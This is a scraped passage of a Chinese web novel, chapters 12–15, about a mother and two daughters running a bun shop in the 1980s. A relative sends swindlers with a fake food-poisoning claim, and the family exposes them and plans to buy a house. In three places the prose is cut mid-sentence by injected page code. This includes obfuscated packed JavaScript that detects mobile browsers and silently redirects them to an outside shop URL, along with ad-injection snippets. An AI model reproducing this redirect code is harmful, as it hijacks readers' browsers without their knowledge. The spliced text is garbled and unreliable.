每天上完课之后，她会去参加学校组织的活动，周末休息的时候，还会跟同学跑去外面逛一逛首都。学校食堂的伙食非常好，价格还便宜，每个月又有补贴拿，小日子别提多滋润了。 杨清明跟她考上的是同一所大学。来之前林兰就跟他约法三章了，在学校里要假装俩人只是老乡，不能透露恋爱关系。她说太早公开会给老师和同学留下坏印象，杨清明不大明白谈对象有什么不能说的，毕竟学生里结婚的都有，不过林兰说了，他也就照做了。 林兰之所以不想公开，当然是为了两手抓。首都的青年才俊这么多，她怎么可能在杨清明这一棵树上吊死。 物理系的贺启明学长，是学校响当当的风云人物，是万千女孩子心目中的白马王子。听寝室的舍友说，他父亲好像是个大官，礼拜天回家的时候还有专车接送。 林兰寻寻觅觅，找的就是这种天之骄子。学习好，家世好，人还长得特别高大帅气。 这样的人谁不想拥有？！ 目前她已经通过学校的活动，接触过贺启明几次了，虽然还没什么特别的进展，但他对自己已经有印象了。相信用不了多久，贺启明就会成为她的囊中之物。 12. 第12章 84年的时候，南方深城特区已经试行取消一切票证了。其他地方也陆陆续续开始形成一种，除了粮食和一些特殊商品需要票之外，其他日用品可以随意购买的趋势。 自行车就是特殊商品，现在买的话还是需要自行车票。 林珊去黑市问了一下，花式150一张，平式100一张，车本身还得掏个170块，合一块儿就把家里的钱全掏光了，铺子也不用开了。 打消了买全新自行车的念头，林珊托爱张罗的街坊婶子帮忙留意一下旧车。反正只是上下班骑，不要求多新。 婶子效率极高，不出两天就找到个七成新的，林珊和赵桂花轮流骑了两圈没发现毛病之后，开始跟车主大姐砍价。 大姐不差钱，就是想换新车才把旧的出了，所以没怎么来回，就痛快地接受了九十块钱的价格。 人家给便宜了不少钱，林珊直接上了两碗肉丝面请大姐和婶子吃，晚上还装了盒包子送到了婶子家。 “爱国大肉包”生意非常好，开业两个多礼拜，基本每天都能维持25块左右的营收。林珊算了算，去掉成本的话，一个月下来她们能赚三百七十多。 赵桂花笑得合不拢嘴，总算不用担心花出去的钱收不回本了。林红也松了口气，每天看着自己做的面条和包子被大家吃得干干净净，心里开心极了。 开铺子虽然累，但在店里冻不着，没人的时候还能喝上口热水，聊聊家常。 这天午后店里闲下来之后，林珊琢磨着该怎么给贺领导回礼。毕竟这开店的钱里头，有人家一半的功劳。 “咱家有大包子，给他有邮几个过去？”赵桂花出主意。 林珊觉得可行，现在已经进入十二月了，天气冷得很，不怕包子坏。而且贺正岩给她们留的地址在省城，安河离省城不太远，邮东西撑死一个礼拜就能到了。 既然打算送包子，她索性又做了两大罐香菇肉酱。不知道这个年代部队的伙食怎么样，但是应该达不到经常吃肉的水准。送包子和肉酱给贺领导打打牙祭，是个还不错的礼。 土特产她也准备了，粉皮、山药、红薯粉条、花生都是安河比较有名的东西。林珊一样装了一些，连同包子和肉酱一块儿包裹得严严实实。 她还另外写了一封信，除了感谢人家之外，也把家里的近况说了。请贺领导下回路过安河的时候，一定要来铺子尝尝新鲜的包子和大骨面。 等一切都准备好，林珊搬着个大箱子去了邮局。 这个年代邮寄这一大箱子东西可不容易，填了好几张表格，还花了将近五块钱，才搞定一切。 回到铺子，母女三人开始准备下午那波吃饭潮，包包子的包包子，炒肉丝的炒肉丝，一到正点小铺子立刻被人挤得满满当当。 经过这两个多礼拜的磨合，三个人已经相当默契了，客人再多，也能快速出餐上餐，收钱收碗。 正忙得起劲儿，林珊一抬眼瞧见房东慢悠悠地朝这边走过来。 她立刻笑着迎接：“郭爷爷，今天还是老样子？” “嗯，老样子。”郭有财把饭盒递过去，背着手往门口一站，等着林珊去给他拿包子。他基本每天下午都会来买俩包子，一个大肉包，一个纯肉包，素的酸菜包是一点都不感兴趣，连尝都没尝过。 林珊给他拿了俩包子，刚要盖上盖递过去，手突然被一股的巨大的力道击中，包子瞬间飞出去，饭盒“咣当”一声落地，就连正要接包子的徐有才，也直接被那股劲儿给带到了地上。 “这家包子害人啊！”一个四五十岁的干巴瘦老汉冲开饭盒，站在铺子门口大声哭喊：“这家包子害人啊！俺孩子被她家害惨了！求求你们帮帮俺吧！呜呜呜——” 老汉边哭边跪，头磕在地上当当作响。他旁边跟着个年轻妇女，手里抱着个病恹恹的孩子。见他一磕头，妇女也赶紧跪下磕头，怀里看着三四岁大的孩子哇哇大哭。 吃饭的人议论纷纷，不知道这是咋了。吃面的手里的筷子慢了下来，买包子的看着包子有点发懵，这到底怎么个事儿？ “诶诶诶诶！你们干啥呢这是？！”赵桂花一看这阵仗，就知道是上门找事儿的，扔下装包子的夹子，就要冲过来赶人。 林珊才刚把摔倒的郭有财给扶起来，立刻又冲过去拦她：“妈你冷静点儿，我来。” 赵桂花被姑娘拦住，稍微冷静了两秒，但还是忍不住冲那两个人喊：“少跟我搞这套！老娘家的包子比你俩脸都干净！” 林珊把她挡在身后，对着还在猛磕头的两人说：“叔叔婶子不用这样，有事儿说事儿，是我们铺子的责任，我们绝对不会赖账，不是我们的，谁也别想扣我们身上。大家伙都在这儿看着呢，你们有什么困难直说。” 干巴老汉颤巍巍抬起头，眼泪说掉就掉，指着旁边妇女怀里的孩子哀嚎道：“我儿子吃了你家的包子，上吐下泻发了好几天的高烧，到现在命都快没了，医生说你家包子有毒！你们怎么这么害人啊！呜呜呜呜……” “呸！放屁！”赵桂花急得要往外冲，被林珊挡得死死的。林红在后厨干着急，面还在锅上煮着，走又走不开，这可怎么办啊！ 林珊上辈子遇见的无赖也不少，这种一看就是低级段位的，故事处处都透着漏洞。 她露出一副关心他人的模样，弯腰问那老汉：“叔，你说是我家包子惹的祸。那我请问你什么时候买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748440|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的包子？” “前、前天吧。” “哦，那是什么馅儿的？” 干巴老汉眼珠一转，“肉、大肉馅儿的。” “哪种肉馅儿？我们店里有好几种肉馅。” “肉、肉就是肉，俺记不清了。” 林珊点头：“行，那多少钱一个买的？一共买了几个？” “七、七……八？……不、不管多少钱，就是在你家买的！” 林珊打住这话题，又问他：“你儿子看得哪家医院？” 老汉：“人、人民医院。” 林珊：“哦？那看的哪个科？医生叫什么？” 老汉略显慌张：“俺、俺农村人，不知道啥科，反正人家说了，就是你那包子有毒！” 林珊十分通情达理，“那这样，不知道名字总知道地方吧，咱一块儿上医院找那医生去。我倒要问问他有什么神通，能一眼就看出是包子的过错。” “你、你，俺们记不清路了，反正人家医生说就是你家包子害的！我看你就是不想承认！俺们的命怎么这么苦啊！呜呜呜呜……俺可怜的儿子啊！”老汉开始嚎哭，还拉着旁边的妇女再次磕起头来。 “闭嘴！”林珊大声呵斥，一改刚才的温和有礼，愤怒地盯着两人：“多少钱买的包子不知道，包子里有什么馅儿不知道。好，我就当你是前天买的我家包子，可是到今天满打满算才两天多，你自己说你儿子可都烧好几天了，后买的包子，还能让你儿子提前烧起来？！” “我、我记错了，包子是我好几天前买的。”老汉狡辩。 林珊冷哼一声，“你满嘴‘不记得’、‘记错了’、‘忘了’，那你是怎么把我家这个铺子记这么清的？公安判案还得验好几遍尸，审好几轮犯人呢。你说我们害人，却什么证据都拿不出来，单凭一张嘴就想判我们死刑？真是好狠的心！” “啊啊啊啊……杀人铺子不承认了！呜呜呜呜……俺的儿子啊……”老汉说不过就嚎啕大哭。 林珊心想来这一套，她瞬间也红了眼眶，比惨是吗？ “叔，你有点良心好不好？我们孤儿寡母欠了一屁股债才把这铺子开起来的，现在好不容易刚有点起色，你就带着人来闹这么一出，这是要把我们母女往死里逼啊！呜呜呜……不带这么欺负人的！妈，你去派出所报公安吧，咱们现在是有嘴也说不清了，人家非要讹人，咱只能让公家来评评理了。” “哼！老娘这就去！大家伙帮忙把他们看好了，千万不能让人跑了！”赵桂花一溜烟冲了出去。 老汉一看要报公安，立刻慌乱起来，她旁边的妇女比他还慌，抱着孩子东看看西看看，瞧着个空档就猛往外钻。 13. 第13章 “往哪跑！”郭有财胳膊一伸，拦住了那母子俩。 老汉一看彻底坏了，赶紧溜啊，他睁着那双绿豆眼飞速寻觅，找了个最薄弱的档口准备猛冲。 结果……啪嗒。 他刚一抬腿，就被林珊伸脚绊了个狗吃屎。 周围群众一拥而上，把这对男女圈得死死的。 一个大娘骂道：“呸！真是缺德！人家好生生卖个包子，你们这是干啥！坏种！吓得我刚才还真以为有啥事儿呢！” 路人大婶：“就是！你说你一个妇女还抱着个孩子，出来干这种事儿不丢人吗？” “真是不要脸！心眼儿怎么那么坏呢？我就说爱国家的肉包绝对不可能出问题！要真有事儿，我吃这么久了，还能活蹦乱跳的？” “就是。唉，现在这年月也不知道是怎么了，人真是变了，坏人太多了！” “唉是啊，以前谁敢啊。” “看给人家小姑娘冤枉的，人家娘仨开个铺子容易吗？这么欺负人！” “我看八成是哪个红眼病，嫉妒人家生意好，故意找人干的这腌臜事儿！” “我也这么觉得。” 被围住的二人不停地往一个角落张望，林珊顺着看过去，瞧见一个身影嗖一下往小巷子跑了。从后背模样来看，特别像林爱军。 哼，好一个二堂哥。林富贵这一家子还真是看不得她们一点好啊。 林珊对众人鞠了一躬，“今天实在对不住，耽误大家吃饭了。买包子多送一个酸菜包，吃面多加一勺肉丝，面不够可以再续。” 大家伙本来就没觉得耽误啥了，不过见小姑娘办事这么敞亮，瞬间对“爱国大肉包”好感倍增。 林珊捡起刚才落到地上的饭盒，洗干净之后，重新装好包子递给郭有财。 “爷爷刚才真对不住了，害您无辜被牵连，刚才摔得要紧吗？咱要不要去医院看看？” 郭有财接过饭盒，哼道：“我那是没准备，不然就我这身手，十个汉子都不够瞧的。” 林珊笑了，人没事儿就好。这么大岁数摔一跤可不是闹着玩儿的。 七十岁的郭有财自觉还能上山打虎，吹嘘完看了眼包子，又看了看林珊和这铺子，默默点了点头。不错，这丫头有前途。铺子开得好，人会来事儿，更难得是不怕事儿。有脑子比什么都重要。 王军很快带着同事过来，简单情况赵桂花已经说过了。他上来直接压好两个骗子，低头仔细看了看，“哟，生面孔，以前不混着片儿吧。” 老汉小声求饶：“同志，都是误会啊。” “误会不误会，进去问问就知道了，这是你老婆？”王军打量起旁边的妇女，这人看上去比老汉能年轻小二十来岁，多半是临时搭伙出来搞事的。 老汉含糊地“嗯”了一声，一脸的讨好：“同志，我们不追究了，这事儿算了吧，不麻烦你们了。” 王军还没开口，旁边就有群众大喊道：“诶，这王八羔子口音都变了！你刚才不是还装农村人么？” “就是！大骗子！抓起来枪毙！” 王军笑着压住干巴老汉：“你刚才又哭又磕头的，我看委屈受得不少啊，去所里好好说说吧。” 老汉：“不委屈不委屈！误会啊，都是误会！” 王军理都不理他，对林珊说：“你也跟着来一趟吧，做个证词。” 林珊点点头。 然后…… 她看见王军的视线越过自己，飘向了铺子里头。 她姐这会儿因为刚才的事儿脸色还有点白，手里的活却一点没落下，正低头忙着给客人做面。 林珊偷偷瞧了王军一眼，寻思他这是要进去还是咋的，结果…… 就见王军缓缓收回视线，压着老汉走了。 林珊挠挠头，行吧，这个时代的男女都比较慢热。 到派出所里，林珊如实把发生的一切复述了一遍，还把自己疑似看见林爱军的事儿说了。那俩人自然是极力狡辩。 由于这个时代的公安在审人的时候，还经常使用“大记忆恢复术”。所以那俩骗子一见人家要来硬的，二话没说就把幕后指使给供出来了。 “是林爱军，他去城东找的人，目的就是坏你们生意。这俩骗子也不是夫妻，孩子是那妇女借别人的。”王军说着叹了口气，“这种‘好堂哥’，我这辈子还是头一回见。我们这就去抓人，这回说什么他都赖不掉了，办他板上钉钉。” 林珊：“谢谢军哥。” 王军：“客气啥。开店不容易，生意好了遭人妒忌，以后再遇上这种事儿还是直接报公安，你们几个都是女同志，千万不要硬扛，安全第一。” “好，我明白的。”林珊再次谢过王军之后，回了铺子。 赵桂花听完结果，先是恨不得剁了林爱军，然后是直接开骂林富贵。 “肯定是那个老货指使的！不要脸的东西！你爸年轻的时候他就总欺负你爸，后来我嫁过来，他老嫌弃我是农村人，两口子总拿鼻孔看人，天天指着我出洋相！后来有了爱国，他心里那个不舒服哟，爱国当兵的时候他在床上躺了半个月呢，气得。哼！这老王八蛋就没有一天看咱们顺眼过，全都死了才能称他的心！瘦鸡麻杆的老矮子，吃那么多都长坏心眼了！他不得好死！一家都不得好死！” 赵桂花越骂越气，说到伤心处包子都不想卖了，非要找林富贵去拼命。 林珊赶紧拦住她。 拼命有什么用，又不能真要了对方的命。本来忙着挣钱没空搭理他们，非要自己上赶着刷存在感。那行，上回杜仨儿的事和这次的事，正好一起算。 赵桂花：“这回不会还关几天就放出来了吧？” 林珊：“要是能判的话，至少一年。” 赵桂花不忿：“太便宜这混球和他那畜生爹了！” 林珊让她不要着急，耐心等着就行。 一个礼拜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后，一手打油诗悄然在新兴胡同流传开来。街头巷尾的小孩儿都在唱，很快连纱厂的工人都会哼哼了。 “富贵儿富贵儿，狗的儿不是。抢房子，抢工位，抢粮食。偷拿侄子送命钱，逼得侄女去撞树，生个闺女又要把人家的对象偷。这还不算够啊不算够，富贵儿竟又指使骗子讹人钱财要人命。要人命啊要人命。富贵儿富贵儿他是谁，就是那纱厂车间的林富贵。” 小孩儿们天天唱，很快还衍生出了一个简单版本：“林富贵儿啊林富贵儿，纱厂车间的林富贵，不要脸啊不要脸，蹲大狱啊蹲大狱。” 要脸的林富贵气得肺都要炸了，他正在调岗的节骨眼上，上回因为杜仨儿的事儿把杜主任得罪了，他花了老半天功夫才把人给哄好，现在又闹出这种事儿，简直是要他老命！ 虽然只是一首打油诗，但是架不住天天有人在他周围哼哼啊。厂里的老伙计看见他直笑，连新来的小姑娘都敢当着他的面翻白眼。真是气煞富贵儿！ 俗话说三人成虎，天天被街头巷尾这么唱，就算是假的也成了真的，更何况本来就都是真的。 林富贵今天暴怒，是因为领导找他谈话了。要他约束自己，不要影响到厂子的声誉。 富贵儿当场一把鼻涕一把泪，都快哭瘫了，把自己说得比窦娥还冤枉，正要下跪磕头的时候，被领导拦住了。 领导十分理性：“你给我哭没用，我不管你用什么办法，不要让这件事继续扩大下去了，出去吧。” 林富贵夜里回到家，狠狠冲着墙皮来了几拳头。要是林爱军没被抓，这会儿早被他拿着皮带满屋抽了。 真是个废物！就没有他能办明白的事儿！ 上回让他帮着杜仨儿睡个小丫头片子，这能有多难？就那丫头一个人在家，窗户还是坏的，结果俩蠢货居然能硬生生被打得满院子乱窜！还被关局子好几天！ 这回他那宝贝儿子连让自己知道都没有，不晓得从哪找了俩人去搞破坏，结果竟然又干局子里去了！ 这能有多难？咬死了说包子不干净，天王老子来了也不改，这能有多难？！ 完蛋玩意儿！ 林富贵气得肝儿疼。 大儿子林爱民赶紧劝他：“爸你消消气，现在最要紧的是外头那些儿歌。” “什么儿歌！”林富贵骂他：“那叫胡编乱造！娘的，算我低估了那小妮子，咱走着瞧！” 富贵不开心，桂花就开心了。 她在店里包着包子都开始哼“富贵之歌”了，“珊丫头你别说，这东西还真挺上口，跟魔怔了似的，没事儿总想哼哼。你咋想出来的？” 林珊笑了。 后世那些让人中毒的广告曲就是这么干的，照着调写好之后找几个小孩儿给几毛钱，几天功夫就唱得街头巷尾全知道了。 她可不管这事是儿子做的还是老子做的，反正都是他家干的。至于以后，爱怎么着怎么着，就怕他不反击呢。 14. 第14章 省城军区的贺正岩，收到了林珊寄来的包裹。 箱子包得严严实实，他废了会儿功夫才把它打开。里头整整齐齐摆放着各种吃的，一样一样掏出来，没多大会儿，桌子就占满了。 居然还有这么多包子，油纸外头贴着一张手写的日期，两大瓶酱料上面也写着日期。那些安河特产上头，每一样都写着跟什么一块儿做好吃。 掏完这些吃的，贺正岩又在箱子边上看见一封信。 信的内容除了感谢之外，最让他印象深刻的，是林珊对自家包子铺里那些大肉包的形容，什么馅儿，什么料，味道怎么好，怎么香。看得他口水都快出来了。还有那大骨肉丝面，下回要是路过安河，他说什么也要去尝上一碗。 收了信，贺正岩让战士把特产放好，包子拿去热热。 冻好的大肉包上锅热了不大一会儿，香气就飘满了整个厨房。隔壁的政委陈大志问着味儿就来了。 “你小子竟然藏了肉包子！”陈大志掀开锅盖儿，看着白白胖胖的肉包，口水直流三千尺。 贺正岩递给他一双筷子，解释道：“之前连里战士家给寄来的。” 陈大志点点头，直接夹起一个大肉包，吹了两下就上口开咬：“嗯！香！吼！烫死我了！” 贺正岩靠在一边，瞧着他跟唱猴戏似的嘶哈乱叫，不明白为什么有些人能明知道这东西烫，也不愿意等上一会儿。 “嗯！这肉包子真好吃！谁做的啊？这味儿比咱食堂做的好吃多了。”陈大志烫够了，也品尝出包子的滋味来了。 贺正岩从包好的油纸里，给他拿了几个放进盘子里，“给孩子吃。” 陈大志眼珠圆睁，惊喜万分：“老弟，大恩啊，我替家里那几个小不点儿谢谢你。”说着，他还学着人家古代人的模样作了个揖。 贺正岩服了，“有点儿正型。” 陈大志哈哈笑，眼尖的看见包子旁边的那堆东西，“这是啥？这么多字儿呢。” “肉酱和土特产。”贺正岩把包装拆开，样样都分了他一半儿。 “真是我的亲兄弟啊！”陈大志笑呵呵地收了，低头去看纸上的字，“呦，这字儿挺漂亮啊，秀气，一看就是个姑娘写——”陈大志探究地看过去：“该不会……” 贺正岩知道他在想什么，直接否认：“人家还是个小姑娘，你不要每天总想着要给我说媒，多研究点正事吧。” 陈大志哈哈笑：“关心营长的个人问题，也是我的职责所在啊。” 贺正岩没搭理他，端着包子回外间吃饭去了。 咬开第一口，贺正岩就知道陈大志刚才没怎么夸张，这包子确实好吃。味儿正，料足，应该是放了干豆角的关系，还有股独特的香味儿。跟着他又尝了纯肉包和酸菜包。 嗯，确实都好吃。 小姑娘信上说的没有一点水分，照这么看，包子铺的生意应该不错，林爱国在那头应该也能稍微安心了。 吃着这浓香美味的纯肉馅儿的大包子，贺正岩不禁对铺子里的大骨肉丝面产生了兴趣，下回要是路过安河，不妨去吃碗面。 …… 林富贵花了些钱，装了俩礼拜病之后，基本听不见有人在厂里唱“儿歌”了。为了挽回自己的声誉，他又不惜花血本，给领导们都送了一圈礼。 什么都不能影响他调岗。这个岗必须调成功，只有调到外销处，家里这不能过明处的买卖才能做得顺当。不然现在偷偷摸摸，求爷爷告奶奶的，也只敢隔一大段时间偷偷搞点儿东西卖。虽然利润高，但是次数少。这么下去的话，还真不一定有赵桂花那铺子挣钱。 之前看着包子铺越来越挣钱，林富贵其实心里已经有打算了。他本来计划先把调岗的事儿搞定，然后再腾出手来慢慢收拾老二家的，结果他那个不争气的儿子倒好，偷偷搞了这么一出，不但没达到目的，还把自己给折进去了。 纯种的废物点心，他怎么能生出这么个东西来。 “哭哭哭，就知道哭。”林富贵快被他媳妇儿烦死了。 “你让我去捞人，我也得有那个能耐啊！上回老黄就已经说过下不为例了，结果这兔崽子又把自己弄进去了！” “我不管，你去救救儿子，别等真落下案底，他这辈子就完了！” 林富贵何尝不明白这个，他在家气了个半死，还是得跑去局子里捞人。不捞这混球到时候别说进厂了，连个正经活计往后就都别想了。 这边焦头烂额，林珊那头生意做得红红火火。 经过那俩骗子的事情之后，不仅附近的街坊们经常关顾，居然还有从城南慕名而来的。 赵桂花可高兴坏了，天天干劲儿十足，每天最大的乐趣就是数钱，再想起林富贵整天黑着个脸，唉声叹气的，她就更开心了。 如果说唯一有什么烦恼的，那就是自己这俩姑娘太招人了。大的清秀文静，小的就更别提了，从小到大屁股后头就没有断过追着跑的。这些小青年们来买包子是好事儿，赖着不走就烦了。 赵桂花时不时就得扯着大嗓门喊这些家伙散开。 小青年们也不无赖，被喊了之后，一个个就都笑着走了，然后第二天还来。弄得赵桂花也没辙。 晚上快关门的时候，王军过来了。 他基本每天忙完所里的事儿之后，都会不自觉地踏进“爱国大肉包”，要上一碗肉丝面慢吞吞地吃完，任务才算完成。要是赶上林红她们关铺子，能一块儿回胡同，那就再好不过了。 不过今天他不是为了吃肉丝面，而是有事儿要说。 “林爱军的案子基本定了，一年少不了他的。林富贵这回还想从上面找人，把这事儿给按住，结果愣是没人敢接。哈哈哈，多亏了你那首‘富贵儿之歌’啊，闹这么大，群众都等着看我们怎么判，谁还敢徇私？”王军想起那首打油诗就想笑。 赵桂花更是乐开了怀，“哈哈哈哈，真是老天有眼啊！” 林珊也挺高兴，之前她就知道林富贵肯定会去找人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 捞他儿子，这次可是刑罪，不是那种打架斗殴关两天的治安处罚。她们孤儿寡母的，没权没势，只有一个王军帮衬，林富贵真从上面找人给压下来，谁也没辙。那既然是这样，不如直接把事情闹大，所有人都摊在阳光下头，公事公办最好。 所以她才会搞了一首“富贵之歌”，除了让林富贵火烧屁股，更重要的目的是定死林爱军。 今天开心，林珊提议道：“军哥别光吃面了，我去炒上两个菜，大家一块儿庆贺庆贺。” 王军连连摆手：“别别，肉丝面就够好吃了，还麻烦那干啥？” 林珊：“不麻烦，您帮了我们这么多，加两个菜算什么，再说了我们自己也要吃的。是不是啊妈，姐？” 赵桂花赶紧附和：“是是是，军子跟我们还客气啥，留下来一块儿吃！” 王军盛情难却，又见林红也在冲自己笑，于是抓了抓脑袋点头同意了。 林珊做了一道蘑菇炒肉，林红炒了个家常豆腐和韭菜鸡蛋，再配上肉丝面和大肉包，满满当当一桌子，香得人口水直流。 “来来来，”赵桂花出去买了瓶酒回来，“今天婶子跟你喝两口，咱也不喝多，就暖暖身子庆贺一下。” “好嘞。”王军恭敬地接过酒，有些不好意思看坐在对面的林红。 他确实对人家特别有好感，也说不上喜欢她哪，就是觉得很顺眼。不过除了经常来铺子吃饭以外，他也不知道还能再做点儿什么，让林红明白他的意思。 赵桂花全程开心地大谈林富贵吃瘪的事儿，没注意到王军那种想看林红，又不敢直视，想开口跟她说话，又不知道说什么的模样。 林珊却在旁边看得一清二楚。 她姐很明显还不知道人家喜欢她，王军看样子在这方面估计也是个闷的，要不要点一下她姐，看看她有没有那方面的意思呢。 王军这人确实不错，如果她姐没有意思，趁早说了对人家也好。 所以等夜里回到家，林珊悄悄把王军的事儿说了。 林红差点惊掉下巴，“姗、姗珊……别胡说。” 林珊无比认真：“真没胡说，我能看出来他对你有意思，不然你以为他天天来咱家铺子吃饭是为了啥？” 林红脸涨得通红，心脏狂跳，“那，咱家饭这么好吃，人家、人家喜欢吃吧。” 林珊笑了，“姐，我非常确定他喜欢你，你就说你有没有那个意思吧。没有的话，我稍稍点他一下让他明白，这样咱也不耽误人家。要是你觉得他人不错，可以试着接触一下，那我就给他支支招，教教他怎么追求女孩子。” “什、什么啊。”林红被她说得头晕脑胀，怎么想也没看出来王军哥是那个意思啊，但是姗姗又那么肯定。 “姐，不着急，你慢慢想，想好了告诉我一声就行。”林珊说完洗洗睡了，本来她以为林红且得想好一阵儿呢，结果刚要睡着，就听见她姐来了句—— “你点、点点他吧，我不想耽误人家……” 15. 第15章 “啊？”林珊从被窝钻出脑袋看林红。 林红被看得不好意思，小声补了句：“要、要是人家是那个意思的话。” 林珊睡意全无，裹好棉袄坐起来问她：“你是不喜欢王军，还是不想这个时候找对象？” 林红垂下眼皮，神情暗淡：“我不想找了，我现在怵、怵那些事，看见男的都有点害怕……” 她越说声音越小，林珊心里一阵酸涩，披上棉袄两步跨到林红的小床上，跟她挤进一个被窝里，“姐，不怕，有我跟妈在，没人敢再动你一根手指头。找对象的事儿咱先不提了，王军那儿我就当不知道，他自己不急，我也没必要替人家着急。” 林红红了眼眶，大哥出事之后珊珊变了好多，不但挑起了家里的大担子，还帮她打张强，帮她离婚，连林富贵她都能对付得了，每天起早贪黑忙到晚，不喊一句累不说，现在还要来安慰她。 “珊珊……”林红抑制不住情绪痛哭，怕被赵桂花听见，又赶紧捂住嘴不让自己发出声来。 林珊抱住她，小声安慰：“姐，人活着开心最重要。结不结婚无所谓，有没有孩子也不要紧，不用给自己那么大的压力。害怕咱就缓缓，等以后想找了，咱再开始找，这都没什么大不了的。只要你跟妈好好的，咱这日子就有奔头。” 林珊上辈子孤苦伶仃，这一世好不容易有了家人，自然要好好珍惜，更何况赵桂花和林红对她都是掏心窝的好。 “别看咱现在还住在这小破屋里，以后咱娘仨可是要冲出安河，走向世界的。” “啥？”林红被她说得有些发懵，见这丫头满脸的自信，又有点想笑，“你太敢想了。” 林珊美滋滋地畅想未来，“省城，首都，国外，你看着吧，将来咱都要去闯一闯！到时候——啊切！” “快躺好。”林红给她盖好被子，“这么不禁冻呢。” 林珊服了，这破屋明明已经被她贴满了报纸，该糊的也全都糊住了，还是冷得不行，总有邪风能从缝里钻进来。 先别说走向世界了，当前第一件事是买房，必须买房。 她穿来快小半年了，对自己这居住环境真的是一言难尽。小破屋冬冷夏热就不用说了，里面还常年黑黢黢的，下个雨要担心漏雨，刮个风要担心窗户门口坏掉，院子里稍微沾点儿水，满腿满脚就都是泥点子。 如果说这些她咬咬牙都能忍，那唯一让她受不了的，就是上厕所！ 公共茅厕在胡同里，离她家隔了有四五户人家。每家每户夜里都是把尿桶放屋里拉撒，早上起来再提着满当当的桶把它给倒了。 林珊干哕过好几次，那个画面真的是一言难尽。更别提这年代的茅厕那叫一个五彩缤纷，在里面待个几秒钟，感觉浑身上下的毛孔都散发着屎尿味儿。 除了这些外在条件，林富贵也是她想搬家的原因。这回老东西吃了瘪，儿子又捞不出来，肯定不会善罢甘休。林珊觉得他大概率不会使出什么硬闯打人的招数，但是防人之心不可无。再怎么说，她们三个也是女同志。 跟有仇的人同在一个屋檐下，怎么想都不是一件特别安全的事儿。她们三个一天到晚在店里忙，家里真要被林富贵做点儿什么手脚，可不是闹着玩儿的。 随便给屋里的烟囱戳个洞，她们几个小命儿就没了。这年头太多人烧煤球一氧化碳中毒了。 所以林珊思前想后，觉得挣了钱第一件事还真得是买房。 这年头商品房还没开始，买卖的基本都是老百姓自己盖的私产，还没有形成什么统一的市价。农村人没办法来城里买房，市里人基本都有单位分房。房屋买卖在这个时期的市场还是很小的。 之前听隔壁周婶子提过一嘴，说胡同里有家人卖房得了1200多块。那人的房子跟她家大小差不多，所以她们要卖的话，估摸也跟这个价格差不了多少。 林珊前一阵从房东郭有财那了解到，在城西买个100平米左右的平房大概需要4000来块。搭上她家的旧房，也要再贴上小3000块钱才够。而她家现在的可用存款才900元。 所以还是穷啊，赚钱，必须努力赚钱！ “爱国大肉包”的生意经过这两个多月的打磨，已经基本趋于稳定了。要想更赚钱，还是得再扩大客流量。毕竟原材料上她已经很节省了。大岗村的表哥赵福每周会送来一些白菜豆角、粉条和葱姜蒜。有地里种的，也有在村里收的。 如果再抠搜得偷工减料，等于搬起石头砸自己招牌。城西“爱国大肉包”的牌子才刚起来没多久，正是立口碑的时候。 “富贵之歌”这事儿，其实对店里的生意挺有帮助的。这几天客人明显比以前多了，刚开张每天营收25块左右，这阵子基本每天都能卖到三十几块。要是能把利润做到每个月500块，那来年五月她们就能买房了。 或者她能找到一个愿意让她分期付款的卖家，那就再好不过了。 林珊夜里翻来覆去思考这些事儿，第二天卖完早上那顿，趁着休息的空挡，她把自己的想法说了。 赵桂花那叫一个激动，“不行不行不行！绝对不行！咱有房子干嘛还要再买啊？你还想把咱家给卖了？不行！门儿都没有！” 林珊被她吼得耳朵疼，赶紧把人按住坐下来，“妈你冷静点儿，让我把话说完嘛。” 赵桂花不听。 林珊哄了她半天，先是把自家这五十年代盖的房子，从里到外分析了一遍劣势，然后把林富贵的威胁说得严重了一些，最后又开始畅想住到大房子里的美好。 “有自家单独的小院，自己的厕所，屋里冬暖夏凉，窗户又大又亮，洗了衣服不用抢绳子晾，冬天不用担心煤球没地方摆。夏天也不用闷在屋里吃饭了，坐在大树底下乘着凉吹着风，后半晌再切上一个大西瓜，就说这日子美不美吧？” 赵桂花张了张嘴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13748443|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又闭上了。她说什么，这丫头都有理由堵回来。这么好的生活谁不想要啊，但是、但是这得多少钱啊！ “您不用担心钱的事儿，我算过了，明天五月份咱就能买得起。”林珊左手抱住赵桂花，右手揽住林红，“妈，姐，咱们这么辛苦卖饭是为了什么？不就是为了以后能过上好日子吗？如果还跟以前一样抠抠搜搜，什么都不舍得，那赚钱有什么意思？” 赵桂花不吭声，林红默默地看向她妈。 两人目光一对，桂花气笑了，“你也觉得咱该把房卖了？” 林红被这么一问，又不敢心动了，看看亲妈，再看看亲妹，左右为难。 林珊笑了，“妈，你就别为难我姐了。我知道你舍不得老房子，是舍不得我爸和我哥，毕竟咱一家在这儿生活了这么多年。但是人总要往前看的，他们俩在天之灵肯定也希望咱们能过上好日子，就先不提什么大富大贵，最起码能先保证安全和不受冻吧。” 